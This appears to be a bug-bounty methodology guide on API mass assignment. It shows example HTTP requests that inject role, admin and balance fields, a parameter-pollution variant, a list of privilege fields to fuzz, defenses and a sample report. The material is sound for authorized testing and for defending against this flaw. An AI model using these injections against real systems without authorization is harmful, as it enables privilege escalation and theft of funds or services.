Api mass assignment exploitation

API Mass Assignment Exploitation

When to Use

• When testing applications built on modern MVC web frameworks (e.g., Ruby on Rails, Spring Boot, Laravel, Node.js ORMs) that emphasize rapid automated data-binding logic.
• During user registration (POST /api/users/register) where you want to test allocating non-standard privileges straight into the database.
• When updating user profiles (PUT /api/users/profile) where sensitive keys might reside.
• When you have discovered API documentation (Swagger) outlining extended fields you cannot normally see in the frontend app.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Input-to-Object Mapping

# Concept: Mass Assignment occurs when a developer writes code like:
# `user.update(request.body)` instead of specifically declaring what can be updated:
# `user.update(name = request.body.name, age = request.body.age)`
# If you inject `{"role": "admin"}`, the database blindly merges it.

# 1. Analyze normal requests:
PUT /api/v1/profile HTTP/1.1
Content-Type: application/json

{"first_name": "Bob", "last_name": "Smith"}

# 2. Analyze the response:
HTTP/1.1 200 OK
{"id": 512, "first_name": "Bob", "last_name": "Smith", "role": "user", "balance": 0.00}

# Observation: The response leaked the variables "role" and "balance" indicating they exist as properties within the backend object!

Phase 2: Exploitation via JSON Injection

# Concept: Since we know the internal names of the prohibited variables from Phase 1, 
# we inject them into the standard PUT request.

# 1. Inject the payload:
PUT /api/v1/profile HTTP/1.1

{"first_name": "Bob", "last_name": "Smith", "role": "admin", "balance": 99999.00}

# 2. Assessment:
# If the server responds with 200 OK, and you log out and back in and verify you have administrative controls or $99,999 in funds, the vulnerability is confirmed.

Phase 3: Exploitation via HTTP Parameter Pollution (HPP)

# Concept: Sometimes the server rejects unexpected JSON elements perfectly. 
# However, if using URL forms, providing duplicate parameters can confuse the backend parser.

# 1. Standard POST request:
POST /update_profile
first_name=Bob&last_name=Smith

# 2. Injecting malicious properties:
POST /update_profile
first_name=Bob&last_name=Smith&role=admin

# 3. HTTP Parameter Pollution (Providing the variable twice to override filters/WAFs):
# The WAF sees the first `role`, thinks it's restricted, but the backend processes the SECOND `role`.
POST /update_profile
first_name=Bob&last_name=Smith&role=user&role=admin

Phase 4: Blind Parameter Discovery

# Concept: What if the API response doesn't conveniently echo back the existing variables like `balance` or `role`?
# We must use Fuzzing (e.g., Arjun or Burp Intruder) to guess high-value property names.

# Common Mass Assignment Targets:
"is_admin": true
"isAdmin": true
"role": 1
"is_verified": true
"mfa_enabled": false
"account_type": "premium"
"status": "active"
"permissions": 999
"wallet_balance": 500

# Action: Build a JSON list merging these variables into your standard profile update, and monitor 
# the behavior of the application going forward. If suddenly you pass paywalls, Mass Assignment worked.

Decision Point 🔀

flowchart TD
    A[Monitor API Response JSON] --> B{Does it leak internal properties?}
    B -->|Yes| C[Copy leaked properties (e.g., `role`, `status`)]
    B -->|No| D[Use wordlist to guess high-value properties]
    C --> E[Inject properties into standard PUT/POST requests]
    D --> E
    E --> F{Does it update the database?}
    F -->|Yes| G[High Severity: Privilege Escalation]
    F -->|No| H[Test with Parameter Pollution 'val=user&val=admin']

🔵 Blue Team Detection & Defense

• Explicit Field Overrides (DTOs): Stop passing raw internet HTTP dictionaries directly to database ORM functions. Strictly enforce the usage of Data Transfer Objects (DTOs), mapping the permitted parameters to the backend model.
  • VULNERABLE: DB.users.update_all(req.body)
  • SECURE: DB.users.update(name=req.body.name, bio=req.body.bio)
• readonly Declarations: Modern MVC frameworks natively support restricting model variables at the schema level. Define sensitive values (IDs, roles, financial balances) as readonly or protected, forcing the ORM to aggressively reject mass-assignment operations upon those specifically annotated columns.
• Strict Parsing Configurations: Configure frameworks (e.g., Spring Boot FAIL_ON_UNKNOWN_PROPERTIES) to immediately throw HTTP 400 Bad Request if a client transmits a property not specifically bound to the destination class.

Key Concepts

Concept	Description
Mass Assignment	A vulnerability where a framework allows a user to update multiple database properties simultaneously using a hash or JSON object without scrutinizing individual keys
Model Binding	The automated process that web frameworks use to convert raw HTTP strings/JSON into programmatic, object-oriented variables
Auto-binding	Often used synonymously with Mass Assignment, indicating the framework is automatically creating the object blindly

Output Format

Bug Bounty Report: Vertical Privilege Escalation via Mass Assignment
====================================================================
Vulnerability: API Mass Assignment (Auto-binding)
Severity: Critical (CVSS 9.0)
Target: PUT /api/v2/user_settings

Description:
The application update logic located at `/api/v2/user_settings` utilizes an insecure Object Relational Mapper (ORM) configuration allowing direct object binding. When observing a normal API `GET` request to fetch the user profile, the response JSON leaks the `["is_admin", "subscription_tier"]` properties. 

Because the backend lacks proper Data Transfer Object (DTO) filtering, an attacker can construct an `HTTP PUT` request containing these exact properties, and the server will unconditionally merge them into the database structure.

Reproduction Steps:
1. Log into a lowly-privileged free account.
2. Intercept the profile update request (changing account name).
3. Append the injected attributes:
   `{"name": "Hacked Account", "is_admin": 1, "subscription_tier": 4}`
4. Submit the request. Wait for the `HTTP 200 OK` response.
5. Navigate to `target.com/admin_panel`. Since your database role is formally upgraded, you bypass all authorization restrictions.

Impact:
Critical logic flaw allowing total administrative Account Takeover and uninhibited financial service theft.

💰 Industry Bounty Payout Statistics (2024-2025)

Company/Platform	Total Paid	Highest Single	Year
Google VRP	$17.1M	$250,000 (CVE-2025-4609 Chrome sandbox escape)	2025
Microsoft	$16.6M	(Not disclosed)	2024
Google VRP	$11.8M	$100,115 (Chrome MiraclePtr Bypass)	2024
HackerOne (all programs)	$81M	$100,050 (crypto firm)	2025
Meta/Facebook	$2.3M	up to $300K (mobile code execution)	2024
Crypto.com (HackerOne)	$2M program	$2M max	2024
1Password (Bugcrowd)	$1M max	$1M (highest Bugcrowd ever)	2024
Samsung	$1M max	$1M (critical mobile flaws)	2025

Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• OWASP: API6:2019 Mass Assignment
• OWASP: API3:2023 Broken Object Property Level Authorization (Modern terminology)
• PortSwigger: Mass assignment vulnerabilities